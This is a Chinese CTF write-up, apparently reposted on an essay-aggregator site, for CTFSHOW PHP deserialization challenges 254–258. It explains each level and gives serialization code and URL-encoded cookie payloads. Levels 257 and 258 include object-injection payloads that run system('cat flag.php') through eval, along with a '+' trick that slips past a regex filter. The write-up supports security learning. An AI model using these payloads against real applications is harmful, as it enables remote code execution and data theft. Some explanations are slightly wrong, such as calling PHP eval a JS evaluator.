700字范文,内容丰富有趣,生活中的好帮手!
700字范文 > CTF-PHP反序列化

CTF-PHP反序列化

时间:2022-07-03 12:20:54

相关推荐

CTF-PHP反序列化

CTFSHOW-关卡254到258-原生类&POP构造

CTF-254-对象引用执行逻辑

username=xxxxxx&password=xxxxxx

解题思路:触发vipOneKeyGetFlag这个方法,同时让方法中的判断为真才能获取flag。

首先分析代码,查看下方判断,用两个GET方法接受账号密码,然后创建ctfShowUser这个类的对象,调用login这个方法,当该方法将isVip赋值为真时才能触发checkVip方法并返回为真,最后触发vipOneKeyGetFlag获取flag。

可以从login方法入手,当$u和$p等于username和password时,isVip将赋值为true。然后执行checkVip方法返回为true时,最后触发vipOneKeyGetFlag获取flag。

通过代码可以发现username和password的值为xxxxxx,那么直接传递账号密码为xxxxxx,底部直接获取flag

CTF-255-反序列化变量修改

public $isVip=true;$a=new ctfShowUser();echo urlencode(serialize($a));

Get:username=xxxxxx&password=xxxxxx

Cookie:user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

该关的源码与上关差距不大,但是在login方法中除了简单比较了一下username和password并没有将isVip改为true,那么在后面的checkVip方法中就无法返回true,无法在vipOneKeyGetFlag方法中获取flag

思路:下方的$user接受的是反序列化,那么可以利用反序列化将isVip的值直接改为true

利用网页工具 菜鸟php工具 将ctfShowUser这个类进行序列化并将isVip的值改为true,获取序列化字符串,使用urlencode编码防止赋值到网页时一些空格或其他数据造成的影响

查看源代码可知道反序列化是在cookie中的user里面的内容,那么访问页面利用burpsuite进行截断,并添加cookie和其中的user,将user值改为序列化字符串,再在url头部进行username和password的传输

放出截断的代码获取flag。

CTF-256-反序列化参数修改

public $username='x';public $password='y';public $isVip=true;$a=new ctfShowUser();echo urlencode(serialize($a));

GET:username=x&password=y

COOKIE:user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A1%3A%22x%22%3Bs%3A8%3A%22password%22%3Bs%3A1%3A%22y%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

该关的考点非常清楚,在login和vipOneKeyGetFlag两个方法中$u和$p与username和password分别要全等,但是username和password不能全等。

思路:依旧用上一关的办法并且修改掉$username和password$的值即可,然后在x和y中传递与username和password相同的值,那么即可绕过判断。

依旧利用burp截断网页,利用url头传递参数并添加cookie

CTF-257-反序列化参数修改&对象调用逻辑

class ctfShowUser{private $class;public function __construct(){$this->class=new backDoor();}}class backDoor{private $code='system("cat f*");';}$b=new ctfShowUser();echo serialize($b);

GET:username=xxxxxx&password=xxxxxx

COOKIE:user=O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A17%3A%22system%28%22cat+f%2A%22%29%3B%22%3B%7D%7D

思路:该关出现了多个类,难度已经偏中等左右。分析代码可以发现有个eval函数,该函数可以将字符串当做JS代码执行,那么就可以从该函数入手。观察代码可以发现__destruct函数调用getInfo这个方法,但是因为ctfShowUser类中的class为info,所以destruct函数指向的info类里的getInfo,那么第一步就是将construct的实例化对象值改为backDoor,使destruct方法调用backDoor这个类中的getInfo从而触发eval函数。在利用eval函数的特性执行hs代码获取falg。

依旧利用网页工具对类进行序列化,将__construct方法的内容改为创建backDoor类的对象,当利用$a实例化ctfShowUser时就会触发__construct方法。根据源码当对象销毁时会执行destruct方法,调用backDoor中的getInfo方法,然后会执行方便eval函数,然后修改code值为JS代码让eval函数执行。

因为这个知道了路径下有flag.php文件,所以直接写上。正常情况下需要利用ls查看当前目录。

为了代码美观,无关的数据已经删掉,因为起不到作用。

将反序列化字符串的url编码写入到cookie中并在get中传递参数,获取flag

CTF-258-反序列化参数修改&对象调用逻辑

<?phpclass ctfShowUser{public $class = 'backDoor';public function __construct(){$this->class=new backDoor();}}class backDoor{public $code="system('cat flag.php');";}$a=serialize(new ctfShowUser());$b=str_replace(':11',':+11',$a);$c=str_replace(':8',':+8',$b);echo urlencode($c);?>

GET:username=xxxxxx&password=xxxxxx

COOKIE:user=O%3A%2B11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%27cat+flag.php%27%29%3B%22%3B%7D%7D

该关比上一关多可过滤字符,代表过滤oc开头后面带数字的数据,i代表不区分大小写,那么这个过滤导致序列化字符串生成的url编码无法使用

可以看到右边的数据就是序列化之后的数据,字母O后面带有数字所以被过滤,那么将字母o后面的数字11改为+11,数字8改为+8,不仅数值没有变,因为字母后面跟的不是纯数字,所以可以绕过过滤

str_place为php中的替代函数,第一个参数为要替换的数据,第二个参数为替换之后的数据,第三个参数是要替换的字符串。

注意:一定要序列化之后进行替换,在进行url编码,因为源码中过滤的序列化字符串并不是url编码数据

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。